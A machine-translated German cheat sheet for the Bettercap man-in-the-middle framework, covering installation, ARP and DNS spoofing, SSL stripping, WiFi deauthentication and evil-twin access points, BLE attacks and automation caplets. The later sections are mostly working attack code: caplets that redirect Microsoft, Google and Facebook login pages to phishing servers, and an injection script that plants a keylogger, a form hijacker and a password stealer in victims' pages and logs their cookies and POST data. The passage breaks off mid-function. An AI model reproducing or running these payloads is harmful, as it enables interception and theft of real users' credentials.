bessercap Cheat Blatt¶
Überblick¶
Bettercap ist ein leistungsfähiges, modulares und tragbares Netzwerk-Aufklärung und MITM (Man-in-the-Middle) Angriffsrahmen für Sicherheitsforscher, Penetrationsprüfer und Netzwerkadministratoren. Ursprünglich als moderner Ersatz für Ettercap entwickelt, hat sich Bettercap zu einer umfassenden Netzwerk-Sicherheitstest-Plattform entwickelt, die mehrere Angriffsvektoren und Aufklärungstechniken zu einem einzigen, einheitlichen Rahmen verbindet. Das Tool wird in Go geschrieben, so dass es sehr tragbar und effizient über verschiedene Betriebssysteme und Architekturen.
Die modulare Architektur des Frameworks ermöglicht es Anwendern, spezifische Module für verschiedene Arten von Netzwerkangriffen und Aufklärungsaktivitäten zu laden und auszuführen. Bettercap unterstützt eine breite Palette von Protokollen und Angriffstechniken, darunter ARP-Spoofing, DNS-Spoofing, DHCP-Spoofing, Wireless-Angriffe, Bluetooth Low Energy (BLE)-Angriffe und HTTP/HTTPS-Proxy-Angriffe. Dieser umfassende Ansatz macht es zu einem unschätzbaren Werkzeug für Sicherheitsexperten, die Netzwerksicherheit aus mehreren Winkeln bewerten und Schwachstellen in verschiedenen Netzwerkschichten identifizieren müssen.
Eine der wichtigsten Stärken von Bettercap ist seine Echtzeit-Web-basierte Benutzeroberfläche, die ein intuitives Dashboard zur Überwachung und Steuerung von Angriffen bietet. Das Web UI zeigt Live-Netzwerkverkehr, erfasste Anmeldeinformationen, entdeckte Hosts und Angriffsstatus in einem leicht zu verstehenden Format. Zusätzlich enthält Bettercap leistungsfähige Skriptfunktionen durch seine JavaScript-Engine, so dass Benutzer benutzerdefinierte Angriffsszenarien erstellen und komplexe Testverfahren automatisieren können. Mit seiner aktiven Entwicklungsgemeinschaft und regelmäßigen Updates entwickelt sich Bettercap weiterhin als eines der vielseitigsten und effektivsten Netzwerksicherheitstests.
Installation¶
Ubuntu/Debian Installation¶
Installieren von Bettercap auf Ubuntu/Debian-Systemen:
```bash
Update system packages¶
sudo apt update && sudo apt upgrade -y
Install required dependencies¶
sudo apt install -y build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev \ git wget curl
Install Go (required for building from source)¶
wget https://golang.org/dl/go1.21.0.linux-amd64.tar.gz sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.bashrc source ~/.bashrc
Verify Go installation¶
go version
Install Bettercap using Go¶
go install github.com/bettercap/bettercap@latest
Add Go bin to PATH¶
echo 'export PATH=\(PATH:\)(go env GOPATH)/bin' >> ~/.bashrc source ~/.bashrc
Alternative: Install pre-compiled binary¶
wget https://github.com/bettercap/bettercap/releases/latest/download/bettercap_linux_amd64_v2.32.0.zip unzip bettercap_linux_amd64_v2.32.0.zip sudo mv bettercap /usr/local/bin/ sudo chmod +x /usr/local/bin/bettercap
Install UI dependencies (optional)¶
sudo apt install -y nodejs npm sudo npm install -g @bettercap/ui
Create bettercap user (optional)¶
sudo useradd -r -s /bin/false bettercap sudo usermod -a -G bettercap $USER
Set capabilities for non-root execution¶
sudo setcap cap_net_raw,cap_net_admin=eip /usr/local/bin/bettercap
Verify installation¶
bettercap -version ```_
CentOS/RHEL Installation¶
```bash
Install EPEL repository¶
sudo yum install -y epel-release
Install required packages¶
sudo yum groupinstall -y "Development Tools" sudo yum install -y libpcap-devel libusb-devel libnetfilter_queue-devel \ git wget curl
Install Go¶
wget https://golang.org/dl/go1.21.0.linux-amd64.tar.gz sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.bashrc source ~/.bashrc
Install Bettercap¶
go install github.com/bettercap/bettercap@latest
Set capabilities¶
sudo setcap cap_net_raw,cap_net_admin=eip $(go env GOPATH)/bin/bettercap
Configure firewall¶
sudo firewall-cmd --permanent --add-port=80/tcp sudo firewall-cmd --permanent --add-port=443/tcp sudo firewall-cmd --permanent --add-port=8080/tcp sudo firewall-cmd --reload ```_
macOS Installation¶
```bash
Install Homebrew (if not already installed)¶
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
Install dependencies¶
brew install libpcap
Install Go¶
brew install go
Install Bettercap¶
go install github.com/bettercap/bettercap@latest
Alternative: Install via Homebrew¶
brew install bettercap
Verify installation¶
bettercap -version ```_
Docker Installation¶
Running Bettercap in Docker:
```bash
Pull official Bettercap Docker image¶
docker pull bettercap/bettercap
Run Bettercap in Docker with network access¶
docker run -it --rm --privileged --net=host \ -v $(pwd):/app \ bettercap/bettercap
Run with web UI¶
docker run -it --rm --privileged --net=host \ -p 80:80 -p 443:443 \ -v $(pwd):/app \ bettercap/bettercap \ -iface eth0 -caplet http-ui
Create custom Dockerfile¶
cat > Dockerfile.bettercap ``<< 'EOF' FROM golang:1.21-alpine AS builder
Install dependencies¶
RUN apk add --no-cache git build-base libpcap-dev libusb-dev linux-headers
Build Bettercap¶
RUN go install github.com/bettercap/bettercap@latest
FROM alpine:latest
Install runtime dependencies¶
RUN apk add --no-cache libpcap libusb iptables
Copy binary¶
COPY --from=builder /go/bin/bettercap /usr/local/bin/
Create working directory¶
WORKDIR /app
Expose ports¶
EXPOSE 80 443 8080
Default command¶
CMD ["bettercap"] EOF
Build custom image¶
docker build -f Dockerfile.bettercap -t custom-bettercap .
Run custom image¶
docker run -it --rm --privileged --net=host custom-bettercap ```_
Windows Installation¶
```powershell
Install using Chocolatey¶
choco install golang choco install git
Install Bettercap¶
go install github.com/bettercap/bettercap@latest
Alternative: Download pre-compiled binary¶
Download from: https://github.com/bettercap/bettercap/releases¶
# Extract to C:\Program Files\Bettercap\
Install WinPcap or Npcap (required for packet capture)¶
Download from: https://npcap.com/¶
Add to PATH¶
$env:PATH += ";C:\Program Files\Bettercap"
Verify installation¶
bettercap.exe -version ```_
Basisnutzung¶
Network Discovery¶
Grundlegende Netzwerkaufklärung und Entdeckung:
```bash
Start Bettercap with automatic interface detection¶
sudo bettercap
Specify network interface¶
sudo bettercap -iface eth0
Enable network discovery¶
sudo bettercap -iface eth0
`` net.probe on net.show
Discover hosts with specific probes¶
set net.probe.mdns true set net.probe.nbns true set net.probe.upnp true set net.probe.wsd true net.probe on
Show discovered hosts¶
hosts.show
Show network statistics¶
net.stats
Continuous host discovery¶
set ticker.period 1 set ticker.commands "clear; net.show; hosts.show" ticker on
Save discovered hosts¶
hosts.save /tmp/discovered_hosts.json
Load previously saved hosts¶
hosts.load /tmp/discovered_hosts.json ```_
ARP Spoofing¶
ARP Spoofing-Angriffe ausführen:
```bash
Basic ARP spoofing setup¶
sudo bettercap -iface eth0
Enable ARP spoofing for entire subnet¶
arp.spoof on
Target specific hosts¶
set arp.spoof.targets 192.168.1.100,192.168.1.101 arp.spoof on
Spoof specific gateway¶
set arp.spoof.fullduplex false set arp.spoof.targets 192.168.1.1 arp.spoof on
Monitor ARP spoofing status¶
arp.spoof.stats
Advanced ARP spoofing with custom intervals¶
set arp.spoof.interval 1s set arp.spoof.silent false arp.spoof on
Whitelist specific hosts (exclude from spoofing)¶
set arp.spoof.whitelist 192.168.1.50,192.168.1.51 arp.spoof on
Stop ARP spoofing¶
arp.spoof off
Ban specific hosts (disconnect them)¶
arp.ban 192.168.1.100 arp.unban 192.168.1.100 ```_
DNS Spoofing¶
DNS Spoofing und Umleitung:
```bash
Enable DNS spoofing¶
sudo bettercap -iface eth0
dns.spoof on
Spoof specific domains¶
set dns.spoof.domains example.com,*.google.com set dns.spoof.address 192.168.1.50 dns.spoof on
Use custom DNS spoofing rules¶
set dns.spoof.hosts /tmp/dns_hosts.txt dns.spoof on
Create custom DNS hosts file¶
cat > /tmp/dns_hosts.txt << 'EOF'
Custom DNS spoofing rules¶
example.com 192.168.1.50 *.facebook.com 192.168.1.51 login.microsoft.com 192.168.1.52 EOF
Advanced DNS spoofing with logging¶
set dns.spoof.silent false set dns.spoof.domains * dns.spoof on
Monitor DNS queries¶
events.stream on
Stop DNS spoofing¶
dns.spoof off ```_
HTTP/HTTPS Proxy¶
Einrichten von HTTP/HTTPS-Proxy für die Verkehrsabhörung:
```bash
Enable HTTP proxy¶
sudo bettercap -iface eth0
http.proxy on
Enable HTTPS proxy with SSL stripping¶
https.proxy on set https.proxy.sslstrip true
Custom proxy port¶
set http.proxy.port 8080 set https.proxy.port 8443 http.proxy on https.proxy on
Inject custom JavaScript¶
set http.proxy.script /tmp/inject.js http.proxy on
Create JavaScript injection script¶
cat > /tmp/inject.js << 'EOF' function onRequest(req, res) \\{ log("Request: " + req.Method + " " + req.URL);
// Log headers
for (var name in req.Headers) \\\\{
log("Header: " + name + " = " + req.Headers[name]);
\\\\}
\\}
function onResponse(req, res) \\{ log("Response: " + res.Status + " for " + req.URL);
// Inject custom content
if (res.ContentType.indexOf("text/html") == 0) \\\\{
var body = res.ReadBody();
var newBody = body.replace("</body>",
"<script>alert('Injected by Bettercap');</script></body>");
res.Body = newBody;
\\\\}
\\} EOF
Monitor proxy traffic¶
events.stream on
Save captured data¶
http.proxy.dump /tmp/http_traffic.log ```_
Erweiterte Funktionen¶
Funkangriffe¶
WiFi Aufklärung und Angriffe:
```bash
Enable WiFi monitoring mode (requires compatible adapter)¶
sudo bettercap -iface wlan0
Start WiFi reconnaissance¶
wifi.recon on
Show discovered access points¶
wifi.show
Show connected clients¶
wifi.show.clients
Target specific access point¶
wifi.recon.channel 6 set wifi.recon.channel 6 wifi.recon on
Deauthentication attack¶
set wifi.deauth.targets aa
cc:dd:ee:ff wifi.deauth
Handshake capture¶
set wifi.handshakes.file /tmp/handshakes.pcap wifi.recon on
Evil twin attack¶
set wifi.ap.ssid "Free WiFi" set wifi.ap.bssid aa
cc:dd:ee:ff set wifi.ap.channel 6 wifi.ap
WPS attacks¶
wifi.recon on wifi.show set wifi.wps.targets aa
cc:dd:ee:ff wifi.wps
Monitor WiFi events¶
events.stream on ```_
Bluetooth Low Energy (BLE) Angriffe¶
BLE Aufklärung und Angriffe:
```bash
Enable BLE reconnaissance¶
sudo bettercap
ble.recon on
Show discovered BLE devices¶
ble.show
Enumerate BLE device services¶
ble.enum aa
cc:dd:ee:ff
Write to BLE characteristics¶
ble.write aa
cc:dd:ee:ff 1800 2a00 "payload"
Clone BLE device¶
set ble.clone.target aa
cc:dd:ee:ff ble.clone
Monitor BLE events¶
events.stream on
Save BLE scan results¶
ble.save /tmp/ble_devices.json ```_
Zollkontingente¶
Erstellen und Verwenden von benutzerdefinierten Caplets (Automatisierungsskripte):
```bash
Create basic reconnaissance caplet¶
cat > /tmp/recon.cap << 'EOF'
Basic network reconnaissance caplet¶
Set interface¶
set $ \\{by_name eth0\\}
Enable network discovery¶
set net.probe.mdns true set net.probe.nbns true set net.probe.upnp true net.probe on
Enable ARP spoofing for entire subnet¶
arp.spoof on
Enable DNS spoofing¶
set dns.spoof.domains * set dns.spoof.address \\{interface.ipv4\\} dns.spoof on
Enable HTTP proxy¶
set http.proxy.script /tmp/inject.js http.proxy on
Enable HTTPS proxy with SSL stripping¶
set https.proxy.sslstrip true https.proxy on
Start event streaming¶
events.stream on
Display status every 5 seconds¶
set ticker.period 5 set ticker.commands "clear; net.show; hosts.show" ticker on EOF
Run caplet¶
sudo bettercap -caplet /tmp/recon.cap
Create advanced MITM caplet¶
cat > /tmp/mitm.cap << 'EOF'
Advanced MITM attack caplet¶
Variables¶
set $TARGET 192.168.1.100 set $GATEWAY 192.168.1.1 set $INTERFACE eth0
Set interface¶
set $ \\{by_name $INTERFACE\\}
Target specific host¶
set arp.spoof.targets $TARGET set arp.spoof.fullduplex true arp.spoof on
DNS spoofing for specific domains¶
set dns.spoof.domains facebook.com,.facebook.com,google.com,.google.com set dns.spoof.address \\{interface.ipv4\\} dns.spoof on
HTTP/HTTPS proxy with custom script¶
set http.proxy.script /tmp/advanced_inject.js http.proxy on
set https.proxy.sslstrip true set https.proxy.script /tmp/advanced_inject.js https.proxy on
Logging¶
set http.proxy.dump /tmp/http_dump.log set https.proxy.dump /tmp/https_dump.log
Events¶
events.stream on EOF
Create credential harvesting caplet¶
cat > /tmp/harvest.cap << 'EOF'
Credential harvesting caplet¶
Set interface¶
set $ \\{by_name eth0\\}
ARP spoofing¶
arp.spoof on
DNS spoofing to redirect login pages¶
set dns.spoof.domains login.microsoft.com,accounts.google.com,www.facebook.com set dns.spoof.address \\{interface.ipv4\\} dns.spoof on
HTTP proxy with credential extraction¶
set http.proxy.script /tmp/harvest.js http.proxy on
HTTPS proxy¶
set https.proxy.sslstrip true set https.proxy.script /tmp/harvest.js https.proxy on
Start web server for phishing pages¶
set http.server.path /tmp/phishing set http.server.port 80 http.server on
events.stream on EOF
Run specific caplet¶
sudo bettercap -caplet /tmp/mitm.cap -iface eth0 ```_
JavaScript Module¶
Erweiterte JavaScript-Module für benutzerdefinierte Angriffe:
```javascript // Advanced HTTP/HTTPS injection script // File: /tmp/advanced_inject.js
var credentials = []; var sessions = \\{\\};
function onLoad() \\{ log("Advanced injection module loaded"); \\}
function onRequest(req, res) \\{ var url = req.URL; var method = req.Method; var host = req.Hostname;
log("[" + method + "] " + host + url);
// Log interesting headers
if (req.Headers["Authorization"]) \\\\{
log("Authorization header found: " + req.Headers["Authorization"]);
\\\\}
if (req.Headers["Cookie"]) \\\\{
log("Cookies: " + req.Headers["Cookie"]);
sessions[host] = req.Headers["Cookie"];
\\\\}
// Extract POST data for credential harvesting
if (method == "POST" && req.Body) \\\\{
var body = req.ReadBody();
log("POST data: " + body);
// Look for common credential fields
| | if (body.indexOf("password") != -1 | | body.indexOf("passwd") != -1) \\{ | | log("Potential credentials captured: " + body); credentials.push(\\{ host: host, url: url, data: body, timestamp: new Date().toISOString() \\});
// Save credentials to file
writeFile("/tmp/credentials.json", JSON.stringify(credentials, null, 2));
\\\\}
\\\\}
\\}
function onResponse(req, res) \\{ var contentType = res.ContentType; var url = req.URL; var host = req.Hostname;
log("Response: " + res.Status + " for " + url);
// Inject into HTML pages
if (contentType.indexOf("text/html") == 0) \\\\{
var body = res.ReadBody();
// Inject keylogger
var keylogger = `
<script>
var keys = [];
document.addEventListener('keydown', function(e) \\{
keys.push(\\{
key: e.key,
timestamp: new Date().toISOString(),
url: window.location.href
\\});
// Send to attacker server every 50 keystrokes
if (keys.length >= 50) \\{
fetch('/keylog', \\{
method: 'POST',
body: JSON.stringify(keys),
headers: \\{'Content-Type': 'application/json'\\}
\\});
keys = [];
\\}
\\});
// Send on page unload
window.addEventListener('beforeunload', function() \\{
if (keys.length > 0) \\{
navigator.sendBeacon('/keylog', JSON.stringify(keys));
\\}
\\});
</script>
`;
// Inject form hijacker
var formHijacker = `
<script>
document.addEventListener('DOMContentLoaded', function() \\{
var forms = document.querySelectorAll('form');
forms.forEach(function(form) \\{
form.addEventListener('submit', function(e) \\{
var formData = new FormData(form);
var data = \\{\\};
for (var pair of formData.entries()) \\{
data[pair[0]] = pair[1];
\\}
fetch('/formdata', \\{
method: 'POST',
body: JSON.stringify(\\{
url: window.location.href,
data: data,
timestamp: new Date().toISOString()
\\}),
headers: \\{'Content-Type': 'application/json'\\}
\\});
\\});
\\});
\\});
</script>
`;
// Inject scripts before closing body tag
body = body.replace("</body>", keylogger + formHijacker + "</body>");
// Replace login pages with phishing pages
| | if (url.indexOf("login") != -1 | | url.indexOf("signin") != -1) \\{ | | body = createPhishingPage(host, url); \\}
res.Body = body;
\\\\}
// Modify JavaScript files
| | if (contentType.indexOf("application/javascript") == 0 | | | | contentType.indexOf("text/javascript") == 0) \\{ var body = res.ReadBody();
// Inject malicious code into JavaScript
var maliciousCode = `
// Injected by Bettercap
setInterval(function() \\{
if (document.querySelector('input[type="password"]')) \\{
var passwords = document.querySelectorAll('input[type="password"]');
passwords.forEach(function(p) \\{
if (p.value) \\{
fetch('/password', \\{
method: 'POST',
body: JSON.stringify(\\{
url: window.location.href,
password: p.value,
timestamp: new Date().toISOString()
\\}),
headers: \\{'Content-Type': 'application/json'\\}
\\});
\\}
\\});
\\}
\\}, 5000);
`;
body = maliciousCode + "\n" + body;
res.Body = body;
\\\\}
\\}
function createPhishingPage(host, url) \\{ return ` <!DOCTYPE html>